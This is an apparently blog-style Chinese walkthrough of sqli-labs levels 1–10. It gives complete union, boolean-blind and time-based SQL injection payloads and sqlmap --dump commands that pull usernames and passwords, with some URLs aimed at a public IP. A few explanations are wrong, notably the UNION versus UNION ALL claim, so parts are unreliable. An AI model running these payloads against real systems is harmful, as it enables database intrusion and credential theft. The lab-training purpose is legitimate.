文章目录
- GET显错注入流程
- 前置知识
- 注入步骤
- GET盲注基本流程
- 前置知识
- 注入步骤
- Less - 1
- Less - 2
- Less - 3
- Less - 4
- Less - 5
- Less - 6
- Less - 7
- Less - 8
- Less - 10
做sqli-labs靶场之前建议补一下基础
SQL注入简介和注入方法教学
Web安全基础-SQL MySQL
SQLMAP工具 详细使用方法
GET显错注入流程
01、获取字段数 order by x
02、获取显示位 union select 1,2,3,4……
03、获取数据库信息
version(),user(),@@datadir
04、获取当前数据库
database(), schema()
05、获取所有数据库
06、获取数据库表
07、获取所有字段
08、获取数据
前置知识
逻辑运算符:and、or、!=
and:并且,前后两条语句必须全为真,才为真,否则为假。
1=1 and 2=2 真
1=1 and 1=2 假
or:或者,前后两条语句一条为真,就为真。
!=:不等于。
在sql语言中,and优先级大于or
--+ 注释符
limit 0,1 从你表中的第一个数据开始,只读取一个
order by 排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行
version() 当前数据库版本
database() 当前数据库
@@datadir 数据库数据路径
@@version_compile_os 操作系统版本
注入步骤
判断数值类型:
id=1' and 1=1 --+ id=-1' or 1=1 --+
order by语句判断字段数量:
id=1' order by 3 --+
联合查询获取显示位:
id=-1' union select 1,2,3 --+
获取当前数据库:
id=-1' union select 1,(select database()),3 --+
获取所有数据库:
id=-1' union select 1,group_concat(schema_name),3 from
information_schema.schemata --+
获取当前数据库表名:
id=-1' union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema='security' --+
获取users表所有字段:
id=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='users' --+
获取security.users表所有字段
id=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='users' and
table_schema='security'--+
获取security.users表所有字段内容:
id=-1' union select 1,username,password from users --+
GET盲注基本流程
01、获取当前数据库长度
02、获取当前数据库名
03、获取当前数据库表总数
04、获取当前数据库表的长度
05、获取当前数据库表名
06、获取当前数据库表的字段总数
07、获取当前数据库表的字段第N个长度
08、获取当前数据库表的字段第N个字段名
09、获取当前数据库表的字段内容长度
10、获取当前数据库表的字段内容
前置知识
mid()、substr():截取字符串
ascii()、ord():返回字段的ascll码值
注入步骤
https://blog.csdn.net/weixin_44971640/article/details/127848720?spm=1001.2014.3001.5502
Less - 1
打开第一关,发现提醒,请输入ID数值作为参数
通过ID数值得变动,页面也随之发生变化
判断SQL语句是否拼接,且是字符型还是数字型
这里通过测试可以判断存在sql注入漏洞,且为字符型,因为该页面存在回显
而且可以判断大概查询语句为
'select xxx from xxx where id='1' limit 0,1'
此外,此处介绍union 联合注入,union 的作用是将两个sql 语句进行联合。
union 前后的两个sql 语句的选择列数要相同才可以。Union all 与union 的区别是增加了去重的功能
接下来使用 order by 语句判断显示位,发现到4得时候,报错了,说明当前数据库下表中得列数只有3位
?id=1' order by 3 --+
获取显示位,可以看到是第二列和第三列里面的数据是显示在页面的
?id=-1'union select 1,2,3--+
-1的意思为false,需要前面的查询语句报错,才能执行后面的sql语句
获取当前数据库名,版本信息
?id=-1'union select 1,database(),version()--+
获取所有数据库
?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata --+
SCHEMATA 表:提供了当前mysql实例中所有数据库的信息
information_schema:看作是一个数据库,确切说是信息数据库
group_concat:合并多行数据到一行
获取 security 数据库的数据表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
information_schema.tables表示该数据库下的tables表,点表示下一级
获取users表的列
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
这里验证了,列数只有三列
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容
注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
获取users表中,username,password 的字段内容
?id=-1' union select 1,group_concat(username),3 from users--+
?id=-1' union select 1,group_concat(password),3 from users--+
Less - 2
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所以我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的,只需要去掉单引号就行了
这里我用sqlmap工具,进行SQL注入操作
经过测试发现可利用点为 ‘‘id’’
sqlmap-1.6>python3 sqlmap.py -u
http://192.168.88.128:8081/Less-2/?id=1 -D id
找到了以下漏洞
获取当前用户
python3 sqlmap.py -u http://192.168.88.128:8081/Less-2/?id=1 -D id --current-user
获取当前数据库
python3 sqlmap.py -u http://192.168.88.128:8081/Less-2/?id=1 -D id --current-db
获取所有数据库名
sqlmap.py -u http://192.168.88.128:8081/Less-2/?id=1 -D id --dbs
获取数据库的表名
python3 sqlmap.py -u http://192.168.88.128:8081/Less-2/?id=1 -D id -D security --tables
获取数据表下的字段名
python3 sqlmap.py -u http://192.168.88.128:8081/Less-2/?id=1 -T users --columns
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w9STvYVC-1671342178177)(null)]
获取字段值
python3 sqlmap.py -u http://192.168.88.128:8081/Less-2/?id=1 -D security -T users -C id,password,username --dump
Less - 3
使用sqlmap,利用点为"id",结果发现payload为 id=1’)
利用过程跟第二关一样
这里我直接查询
python3 sqlmap.py -u http://192.168.88.128:8081/Less-3/?id=1 -D security -T users -C id,password,username --dump
Less - 4
第四关sqlmap测试的payload为:id=1")
直接获取结果
python3 sqlmap.py -u http://192.168.88.128:8081/Less-4/?id=1 -D security -T users -C id,password,username --dump
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g8rDlJNT-1671342178041)(null)]
Less - 5
这关正确的思路是盲注。从源代码中可以
看到,运行返回结果正确的时候只返回you are in…,不会返回数据库当中的信息了,所以我们不能利用上述less1-4 的方法
通过页面回显,可以判断为字符型
这里需要用到的函数有
length();
#判断长度
version();
#查看数据库版本信息
mid();、substr();
#截取字符串
ascii();、ord();
#返回字段的ascll码值
left();
#返回最左边的字符
right();
# 返回最右边的字符
获取当前数据库版本号长度
错误不回显,正确显示 you are in…
可以使用 > < = 通过页面回显,判断是否正确
?id=1' and length((select version()))=1 --+
?id=1' and length((select version()))>20 --+
?id=1' and length((select version()))<20 --+
?id=1' and length((select version()))=23 --+
判断出版本号为 23个字符
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AUnDrTti-1671342177867)(null)]
获取当前版本号
这个语句的意思是从左往右第一个字符是否为5,正确则回显 you are in …
?id=1' and left(version(),1)=5 --+
这个语句的意思是从左往右第二个字符是否为5,正确则回显 you are in …
?id=1' and left(version(),2)=5 --+
依次类推一直猜测到最后一个字符即可
版本号为:5.5.44-0ubuntu0.14.04.1
获取当前数据库长度
?id=1' and length((database()))=8 --+
得到数据库长度为8
获取当前数据库名,
?id=1' and left((database()),1) = 's'--+
.....
?id=1' and left((database()),8) = 'y'--+
或者截取字符串转为ASCII码判断
?id=1' and ascii(mid(database(),1,1)) ='115'--+
?id=1' and ascii(mid(database(),2,1)) ='101'--+
......
?id=1' and ascii(mid(database()8,1)) ='121'--+
ascii 转为 字符串
115 = s
101 = e
......
121 = y
得出当前数据库名:security
获取当前数据库表总数
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
得到 security 数据库有4张表
获取数据库表的长度
第一个数据库表长度:
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1--+
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=2--+
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=3--+
......
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+
到6时页面有反应,可判断第一个数据库表长度为6
第二个数据库表长度:
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=1--+
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=2--+
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=3--+
.......
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+
到8时页面有反应,可判断第二个数据库表长度为8
依此类推:
第三个数据库表长度:
......
第四个数据库表长度:
......
可以得到第一个数据库表的长度为6,第二个为8,第三个为7,第四个为5
获取数据库表名
第一个数据库表名:
第一位数:
http://xxxx:xxxx/Less-8/?id=1' and ascii((select table_name from information_schema.tables where table_schema=database() limit 0,1))>100--+
http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+
101='e'
第二位数:
http://xxxx:xxxx/Less-8/?id=1' and ascii((select table_name from information_schema.tables where table_schema=database() limit 1,1))>100--+
http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+
109='m'
......
第二个数据库表名:
第一位数:
http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
114='r'
第二位数:
http://xxxx:xxxx/Less-8/?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101 --+
101='e'
......
依此类推得到第一个数据库表名为 emails,后面得表名获取是一样得方法,得到后三个数据库名为:referers,uagents,users
获取数据库表的字段总数
获取第一个表'emails'得字段总数:
http://xxxx:xxxx/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='emails' and table_schema=database())=1--+
http://xxxx:xxxx/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='emails' and table_schema=database())=2--+
判断得出'emails'得字段总数为2
获取第二个表'referers'得字段总数:
http://49.234.55.19:8081/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='referers' and table_schema=database())=3--+
判断得出'referers'得字段总数为3
......
依此类推......
获取数据库表字段名
获取'emails'数据库表:
第一个字段名(id):
http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),1,1)='i'--+
http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),1,1))=105--+
105='i'
http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),2,1)='d'--+
http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1),2,1))='100'--+
101='d'
第二个字段名(email_id)
http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),1,1)='e'--+
http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),2,1)='m'--+
......
http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),6,1)='_'--+
http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1),6,1))='95'--+
95='_'
......
获取'referers'数据库表:
第一个字段名:
http://xxxx:xxxx/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_name='referers' and table_schema=database() limit 0,1),1,1)='i'--+
......
......
依此类推......
获取数据库表的字段内容
获取'emails'表第一行数据内容(1Dumb@dhakkan.com):
获取第一个字符(1):
http://xxxx:xxxx/Less-8/?id=1' and substr((select concat(id,email_id) from emails limit 0,1),1,1)='1'--+
http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select concat(id,email_id) from emails limit 0,1),1,1))='49'--+
49='1'
获取第二个字符(D):
http://49.234.55.19:8081/Less-8/?id=1' and ascii(substr((select concat(id,email_id) from emails limit 0,1),2,1))='68'--+
http://xxxx:xxxx/Less-8/?id=1' and substr((select concat(id,email_id) from emails limit 0,1),2,1)='D'--+
68='D'
获取第三个字符(u):
http://xxxx:xxxx/Less-8/?id=1' and substr((select concat(id,email_id) from emails limit 0,1),3,1)='u'--+
http://xxxx:xxxx/Less-8/?id=1' and ascii(substr((select concat(id,email_id) from emails limit 0,1),3,1))='117'--+
117='u'
......
......
依此类推......
Less - 6
第六关和第五关盲注过程是一样的,构造的payload只需要在id=1‘替换成id=1“,因为这里考察的点是双引号报错,因为代码中过滤了单引号
Less - 7
第七关的payload为 id=1‘)),盲注操作与上面相同,只需要替换单引号为 ’)) 即可。
Less - 8
第八关与第五关一样,只不过第八关没有报错信息,但是有you are in…进行参照。id参数是一个单引号字符串。
Less - 9
第九关发现输入什么,页面都回显 you are in…,这时候布尔盲注就不适合这种情况了,布尔盲注适合页面对于错误和正确结果有不同反应,页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。
if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。
通过页面时间来判断出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+
#判断是否为时间注入漏洞,如果有页面会延迟5s刷新
?id=1'and if(length((select database()))=8,sleep(5),1)--+
#判断当前数据库名长度,正确则延迟5s刷新,错误则1s刷新
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
?id=1'and if(ascii(substr((select database()),2,1))=101,sleep(5),1)--+
......
#获取当前数据库名
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(5),1)--+
#判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>102,sleep(5),1)--+
#获取表名,通过页面回显判断是否正确
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>10,sleep(5),1)--+
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='referers'))>10,sleep(5),1)--+
#判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
#获取字段名
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
#判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
#获取users表中内容。
Less - 10
第十关和第九关一样单引号换成双引号即可